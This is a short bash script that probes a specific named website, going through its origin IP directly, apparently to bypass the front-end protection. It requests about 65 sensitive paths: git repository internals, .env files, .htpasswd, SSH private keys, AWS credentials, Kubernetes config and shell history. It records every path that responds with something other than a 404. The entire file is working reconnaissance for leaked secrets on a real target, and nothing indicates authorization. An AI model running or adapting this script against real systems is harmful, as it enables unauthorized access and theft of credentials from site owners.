#!/bin/bash
# probe sensitive paths via direct origin
ORIGIN="--resolve www.fansky.net:443:139.162.100.99"
BASE="https://www.fansky.net"
paths=(
"/.git/HEAD"
"/.git/config"
"/.git/index"
"/.git/description"
"/.git/COMMIT_EDITMSG"
"/.git/info/refs"
"/.git/logs/HEAD"
"/.git/refs/heads/master"
"/.git/refs/heads/main"
"/.git/objects/packed-refs"
"/.git/packed-refs"
"/.gitignore"
"/.env"
"/.env.local"
"/.env.production"
"/.env.development"
"/.env.backup"
"/.env.example"
"/.env.bak"
"/docker-compose.yml"
"/docker-compose.yaml"
"/compose.yaml"
"/Dockerfile"
"/dockerfile"
"/next.config.js"
"/next.config.mjs"
"/package.json"
"/package-lock.json"
"/yarn.lock"
"/pnpm-lock.yaml"
"/server.js"
"/app.js"
"/index.js"
"/webpack.config.js"
"/tsconfig.json"
"/.DS_Store"
"/robots.txt"
"/sitemap.xml"
"/.gitlab-ci.yml"
"/.github/workflows/deploy.yml"
"/config.json"
"/config.js"
"/config.yml"
"/settings.json"
"/.npmrc"
"/.babelrc"
"/.eslintrc"
"/.eslintrc.json"
"/.prettierrc"
"/firebase.json"
"/vercel.json"
"/now.json"
"/Procfile"
"/.htaccess"
"/.htpasswd"
"/phpinfo.php"
"/info.php"
"/test.php"
"/.bash_history"
"/.ssh/id_rsa"
"/.ssh/id_rsa.pub"
"/.ssh/authorized_keys"
"/.aws/credentials"
"/.kube/config"
)
for p in "${paths[@]}"; do
  out=$(curl -sk $ORIGIN -o /tmp/body.$$ -w "%{http_code} %{size_download} %{content_type}" "$BASE$p" 2>/dev/null)
  code=$(echo "$out" | awk '{print $1}')
  len=$(echo "$out" | awk '{print $2}')
  ctype=$(echo "$out" | awk '{print $3}')
  printf "%-40s code=%-3s len=%-8s type=%s\n" "$p" "$code" "$len" "$ctype"
  # save non-404 bodies for inspection
  if [ "$code" != "404" ] && [ "$len" != "0" ]; then
    echo "$p" >> hit_paths.txt
  fi
done
rm -f /tmp/body.$$
